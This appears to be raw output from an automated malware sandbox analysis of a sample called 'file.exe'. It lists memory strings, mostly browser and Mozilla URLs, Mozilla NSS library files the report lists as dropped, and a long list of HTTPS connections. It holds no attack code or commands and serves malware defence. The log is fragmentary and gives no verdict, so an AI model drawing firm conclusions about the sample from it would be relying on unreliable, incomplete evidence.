Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: JEBGCBAF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEBGCBAF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEBGCBAF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JEBGCBAF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2736377583.0000000000A27000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2736377583.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DGHDGCBFCFID
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2736377583.0000000000A27000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2736377583.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
